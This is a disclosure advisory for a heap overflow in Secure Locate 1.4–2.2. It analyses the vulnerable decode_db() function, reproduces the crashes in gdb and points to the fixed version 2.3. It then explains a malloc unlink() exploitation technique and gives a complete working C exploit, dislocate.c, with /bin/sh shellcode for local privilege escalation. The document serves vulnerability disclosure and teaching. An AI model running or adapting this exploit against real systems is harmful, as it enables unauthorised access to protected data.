---------------[ MasterSecuritY  ]---------------



------------[ S(ecure)Locate heap corruption vulnerability ]------------

----------[ By Michel "MaXX" Kaempf  ]----------



--[ 0x00 - Table of contents ]------------------------------------------



0x01 - Overview

0x02 - Description

0x03 - Solution

0x04 - Exploit

0x05 - Acknowledgement



--[ 0x01 - Overview ]---------------------------------------------------



- From the Secure Locate manual page:



> slocate - Security Enhanced version of the GNU Locate

>

> Secure Locate provides a secure way to index and quickly search for

> files on your system. It uses incremental encoding just like GNU

> locate to compress its database to make searching faster, but it will

> also store file permissions and ownership so that users will not see

> files they do not have access to.



- From the Security Focus web site:



> Secure Locate maintains an index of the entire filesystem, including

> files only visible by root. The slocate binary is setgid "slocate" so

> it can read this index. If slocate is properly exploited, the location

> of sensitive files could be revealed to an unprivileged local user.



--[ 0x02 - Description ]------------------------------------------------



----[ Take a look around ]----------------------------------------------



A few days ago, zorgon  discovered a problem in

Secure Locate v2.1. When decoding an invalid database specified by a

local user (thanks to the -d command line option), slocate dies with a

segmentation violation:



$ cp /usr/bin/slocate /tmp/slocate

$ perl -e 'print "A" x 1337' > /tmp/foo

$ gdb -q /tmp/slocate

(gdb) run -d /tmp/foo bar

Starting program: /tmp/slocate -d /tmp/foo bar



Program received signal SIGSEGV, Segmentation fault.

0x17afd2 in realloc () from /lib/libc.so.6

(gdb)



Secure Locate fails decoding a database containing a large number of

'A' characters... The problem looks like a classic buffer overflow,

but there is something strange: slocate also fails decoding an invalid

database containing only 6 or 5 'A' characters:



$ cp /usr/bin/slocate /tmp/slocate

$ perl -e 'print "A" x 6' > /tmp/foo

$ gdb -q /tmp/slocate

(gdb) run -d /tmp/foo bar

Starting program: /tmp/slocate -d /tmp/foo bar



Program received signal SIGSEGV, Segmentation fault.

0x17a876 in malloc () from /lib/libc.so.6

(gdb)



$ cp /usr/bin/slocate /tmp/slocate

$ perl -e 'print "A" x 5' > /tmp/foo

$ gdb -q /tmp/slocate

(gdb) run -d /tmp/foo bar

Starting program: /tmp/slocate -d /tmp/foo bar



Program received signal SIGSEGV, Segmentation fault.

0x17ab0d in free () from /lib/libc.so.6

(gdb)



If Secure Locate dies while running one of the three functions

realloc(), malloc() or free(), which are part of Doug Lea's malloc used

by most Linux systems, it is certainly not because of bugs in these

widely used functions, but because slocate overwrites the internal

structures used by these functions (the malloc chunks, stored before

and after the buffers allocated by malloc) while decoding the invalid

databases.



----[ Use the Source, Luke ]--------------------------------------------



The guilty function in slocate, decode_db(), is part of the main.c

module, and is reproduced below, but simplified for a better

understanding of the problem and its future exploitation:



#define MIN_BLK 64



char slevel = '1';



int decode_db( char * database, char * str )

{

FILE * fd;

char * codedpath = NULL;

char * ptr;

short code_num;

int jump = 0;

int grow = 0;

int pathlen = 0;

register char ch;

int first = 1;



fd = fopen( database, "r" );



(1) slevel = getc( fd );



(2) codedpath = malloc( MIN_BLK );

ptr = codedpath;



(3) while ( (code_num = getc(fd)) != EOF ) {



(4) if ( code_num > 127 )

(5) code_num = code_num - 256;



jump = 0;



if ( code_num < 0 )

grow += code_num;



ptr += code_num;



(6) pathlen = ptr - codedpath;



while( !jump ) {

(7) ch = getc( fd );

grow++;

pathlen++;

if ( grow == 64 ) {

(8) realloc( codedpath, pathlen + MIN_BLK );

}

(9) codedpath[ pathlen - 1 ] = ch;



(10) if ( ch == '\0' )

jump = 1;

}

}

}



When decoding a database, decode_db() reads the first character of

the file(1), but the value of this character does not affect the

segmentation violation. decode_db() then allocates a 64 bytes buffer(2),

and reads the second character of the database file, code_num(3).



When considering the first run of the loop(3), pathlen is initialized

to (codedpath + code_num - codedpath) == code_num(6), and this value

represents the offset in the codedpath buffer where the characters read

from the database file(7) are stored(9).



Now remember: the second character of the foo file was 'A', or 65 when

encoded in decimal. This is the offset in the codedpath buffer where

the characters read from the foo file were stored, but, problem, the

codedpath buffer was only 64 bytes.



Now guess what is stored after the 64 bytes of the codedpath buffer, and

is partially overwritten by decode_db()? A malloc chunk structure, of

course, and that's why the next call to realloc(), malloc() or free()

dies with a segmentation violation.



--[ 0x03 - Solution ]---------------------------------------------------



Upgrade to Secure Locate v2.3, available at:



http://ftp.mkintraweb.com/pub/linux/slocate/



The author, Kevin Lindsay, was contacted and confirmed Secure Locate

v2.3 is not affected by the vulnerability described in this advisory.

Every Secure Locate version, from 1.4 (included) to 2.2 (included), is

affected by the problem, and vulnerable to the exploit described below.



--[ 0x04 - Exploit ]----------------------------------------------------



----[ The fight ]-------------------------------------------------------



The plan is simple:



- the exploit builds an invalid database (without '\0' characters(10))

in order to carefully overwrite the internal structures used by

realloc() ;



- the first call to realloc()(8) should overwrite an interesting

function pointer stored somewhere in the memory, the dynamic relocation

record of the realloc() function for example, with a pointer to a

shellcode built by the exploit and stored in the heap (not on the stack,

in order to defeat non-executable stack patches) ;



- the second call to realloc()(8) should execute the shellcode, and not

the libc realloc() function.



Thanks to the unlink() macro used by realloc(), it is possible to

overwrite a function pointer with a pointer to the shellcode:



#define unlink(P, BK, FD)                                              \

{                                                                      \

  BK = P->bk;                                                          \

  FD = P->fd;                                                          \

  FD->bk = BK;                                                         \

  BK->fd = FD;                                                         \

}                                                                      \



When examining the libc realloc() function, the best path to an unlink()

call is the following (simplified) path:



struct malloc_chunk

{

    /* Size of previous chunk (if free). */

    unsigned int prev_size;



    /* Size in bytes, including overhead. */

    unsigned int size;



    /* double links -- used only if free. */

    struct malloc_chunk * fd;

    struct malloc_chunk * bk;

};



typedef struct malloc_chunk * mchunkptr;



void * realloc( void * oldmem, unsigned int bytes )

{

    unsigned int nb;                           /* padded request size */

    mchunkptr oldp;                  /* chunk corresponding to oldmem */

    unsigned int oldsize;                                 /* its size */

    mchunkptr next;               /* next contiguous chunk after oldp */

    unsigned int nextsize;                                /* its size */

    unsigned int newsize = oldsize;

    mchunkptr bck;                           /* misc temp for linking */

    mchunkptr fwd;                           /* misc temp for linking */



    /* oldp = oldmem - 8 */

    oldp = mem2chunk( oldmem );



    /* oldsize = oldp->size & ~3 */

    oldsize = chunksize( oldp );



    /* nb = (bytes + 11) & ~7 */

    if ( request2size(bytes, nb) )

        ...



    /* if ( oldp->size & 2 ) */

(a) if ( chunk_is_mmapped(oldp) )

    {

        ...

    }



(b) if ( (long)(oldsize) < (long)(nb) )

    {

        /* next = oldp + oldsize */

        next = chunk_at_offset( oldp, oldsize );



        /* if ( !((next + (next->size & ~1))->size & 1) ) */

(c)     if ( next == top(ar_ptr) || !inuse(next) )

        {

            /* nextsize = next->size & ~3; */

            nextsize = chunksize( next );



            if ( next == top(ar_ptr) )

            {

                ...

            }

(d)         else if ( (long)(nextsize + newsize) >= (long)(nb) )

            {

                unlink( next, bck, fwd );



If the exploit carefully overwrites the chunks used by realloc(), in

order to satisfy the (a), (b), (c) and (d) conditions, the unlink()

macro is reached and the magic happens.



----[ First round ]-----------------------------------------------------



The exploit should build and store a fake next malloc_chunk somewhere

in the memory, and overwrite the oldp malloc_chunk in order to force

realloc() to use the fake next chunk and not the regular one. But

in order to overwrite the oldp chunk, the exploit should be able to

underflow the codedpath buffer allocated by decode_db()(2) (the oldp

chunk is stored just before the codedpath buffer).



And it *is* possible to underflow the codedpath buffer: if the second

character of the database file is greater than 127(4), code_num (and

therefore the offset in the codedpath buffer where the characters read

from the database file are stored) becomes negative(5). If the exploit

sets this second character to (256 - 4), the whole size member of the

oldp chunk can be overwritten in order to point to the fake next chunk.



The exploit stores the fake next chunk on the stack, in order to satisfy

the four conditions required to reach unlink() and the fact that no '\0'

character can be present in the database file:



- the fake next chunk can be padded in order to begin at a 4 bytes

aligned memory location (and therefore satisfies (a)) ;



- the long integer corresponding to the distance between the heap and

the stack, oldsize, is negative (and therefore satisfies (b)) and does

not contain '\0' characters ;



- if nextsize is equal to (nb - newsize) (and therefore satisfies (d)),

it will point back to the heap and will not contain '\0' characters ;



- at the heap location pointed to by nextsize, 0x00 bytes are stored

(and therefore satisfy (c)).



Eventually, the exploit has to carefully compute the fd and bk members

of the fake next chunk in order to overwrite the realloc() dynamic

relocation record, thanks to unlink(), with a pointer to the shellcode

stored in the codedpath buffer. This shellcode should begin with a jump

instruction in order to skip the garbage bytes introduced by unlink() at

the beginning of the shellcode.



----[ Second round ]----------------------------------------------------



This exploit will work against every Secure Locate version between 1.4

and 2.1, but not against Secure Locate v2.2. Why? Because of the new

validate_db() function, which detects that the database file built by

the exploit is invalid.



But the exploit can build a database file that looks like a valid

database, by adding the '0', '\0' and '\0' characters at the beginning

of the file. The first two characters validate the database, and the

third character resets the codedpath buffer filling(10). The other parts

of the exploit remain the same, except the fact that the shellcode size

limit is reduced by one.



----[ Knock out ]-------------------------------------------------------



/*

 * MasterSecuritY 

 *

 * dislocate.c - Local i386 exploit in v1.3 < Secure Locate < v2.3

 * Copyright (C) 2000  Michel "MaXX" Kaempf 

 *

 * Updated versions of this exploit and the corresponding advisory will

 * be made available at:

 *

 * http://maxx.via.ecp.fr/dislocate/

 *

 * This program is free software; you can redistribute it and/or modify

 * it under the terms of the GNU General Public License as published by

 * the Free Software Foundation; either version 2 of the License, or

 * (at your option) any later version.

 *

 * This program is distributed in the hope that it will be useful,

 * but WITHOUT ANY WARRANTY; without even the implied warranty of

 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

 * GNU General Public License for more details.

 *

 * You should have received a copy of the GNU General Public License

 * along with this program; if not, write to the Free Software

 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

 */



#include 

#include 

#include 

#include 



#include 

#include 

#include 



#define PATH "/tmp/path"



char * shellcode =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";



void usage( char * string )

{

fprintf( stderr, "* Usage: %s filename realloc malloc\n", string );

fprintf( stderr, "\n" );



fprintf( stderr, "* Example: %s /usr/bin/slocate 0x0804e7b0 0x08050878\n", string );

fprintf( stderr, "\n" );



fprintf( stderr, "* Realloc:\n" );

fprintf( stderr, "  $ objdump -R /usr/bin/slocate | grep realloc\n" );

fprintf( stderr, "\n" );



fprintf( stderr, "* Malloc:\n" );

fprintf( stderr, "  $ %s foobar 0x12121212 0x42424242\n", string );

fprintf( stderr, "  $ cp /usr/bin/slocate /tmp\n" );

fprintf( stderr, "  $ ltrace /tmp/slocate -d %s foobar 2>&1 | grep 'malloc(64)'\n", PATH );

fprintf( stderr, "  $ rm %s\n", PATH );

fprintf( stderr, "\n" );

}



int zero( unsigned int ui )

{

if ( !(ui & 0xff000000) || !(ui & 0x00ff0000) || !(ui & 0x0000ff00) || !(ui & 0x000000ff) ) {

return( -1 );

}

return( 0 );

}



int main( int argc, char * argv[] )

{

unsigned int ui_realloc;

unsigned int ui_malloc;

char path[1337];

char next[1337];

char * execve_argv[] = { NULL, "-d", PATH, next, NULL };

int fd;

unsigned int p_next;

unsigned int ui;



if ( argc != 4 ) {

usage( argv[0] );

return( -1 );

}

execve_argv[0] = argv[1];

ui_realloc = (unsigned int)strtoul( argv[2], NULL, 0 );

ui_malloc = (unsigned int)strtoul( argv[3], NULL, 0 );



strcpy( next, "ppppssssffffbbbb" );

p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);

for ( ui = 0; ui < p_next - (p_next & ~3); ui++ ) {

strcat( next, "X" );

}

p_next = (0xc0000000 - 4) - (strlen(execve_argv[0]) + 1) - (strlen(next) + 1);



ui = 0;

*((unsigned int *)(&(next[ui]))) = (unsigned int)(-1);



ui += 4;

*((unsigned int *)(&(next[ui]))) = ((ui_malloc - 8) + 136) - p_next;

if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {

fprintf( stderr, "debug: next->size == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );

return( -1 );

}



ui += 4;

*((unsigned int *)(&(next[ui]))) = ui_realloc - 12;

if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {

fprintf( stderr, "debug: next->fd == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );

return( -1 );

}



ui += 4;

*((unsigned int *)(&(next[ui]))) = ui_malloc;

if ( zero( *((unsigned int *)(&(next[ui]))) ) ) {

fprintf( stderr, "debug: next->bk == 0x%08x;\n", *((unsigned int *)(&(next[ui]))) );

return( -1 );

}



ui = 0;

path[ui] = (char)(256 - 4);



ui += 1;

*((unsigned int *)(&(path[ui]))) = p_next - (ui_malloc - 8);

if ( zero( *((unsigned int *)(&(path[ui]))) ) ) {

fprintf( stderr, "debug: oldp->size == 0x%08x;\n", *((unsigned int *)(&(path[ui]))) );

return( -1 );

}



ui += 4;

path[ui] = 0;

strcat( path, "\xeb\x0axxyyyyzzzz" );

strcat( path, shellcode );



fd = open( PATH, O_WRONLY|O_CREAT|O_EXCL, S_IRWXU );

if ( fd == -1 ) {

fprintf( stderr, "debug: open( \"%s\", O_WRONLY|O_CREAT|O_EXCL, S_IRWXU ) == -1;\n", PATH );

return( -1 );

}

write( fd, "0", sizeof("0") );

write( fd, "", sizeof("") );

write( fd, path, strlen(path) );

close( fd );



execve( execve_argv[0], execve_argv, NULL );

return( -1 );

}



--[ 0x05 - Acknowledgement ]--------------------------------------------



Thanks to zorgon  for sharing this problem with

me and for allowing me to release this advisory.



Thanks to Kevin Lindsay  for writing Secure

Locate, for his quick and kind response, and for also allowing me to

release this advisory.



And thanks to Al Huger, Samuel Hocevar, Olivier Thereaux and Pierre

Corneillie for their help.



--

Michel "MaXX" Kaempf